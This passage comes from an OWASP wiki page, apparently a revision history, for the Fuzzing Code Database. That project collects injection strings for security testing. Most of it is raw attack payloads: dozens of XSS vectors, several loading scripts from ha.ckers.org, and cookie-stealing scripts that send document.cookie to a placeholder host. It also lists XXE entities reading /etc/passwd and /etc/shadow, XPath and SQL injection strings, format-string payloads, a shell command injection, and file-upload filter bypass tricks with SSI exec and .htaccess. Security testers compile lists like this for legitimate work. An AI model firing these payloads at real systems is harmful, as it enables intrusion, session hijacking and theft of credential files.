DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80066 2010-03-17T20:45:05Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2009 - notes */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> %00index.html<br /> ;index.html&lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> # Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> &lt;pre&gt;<br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> 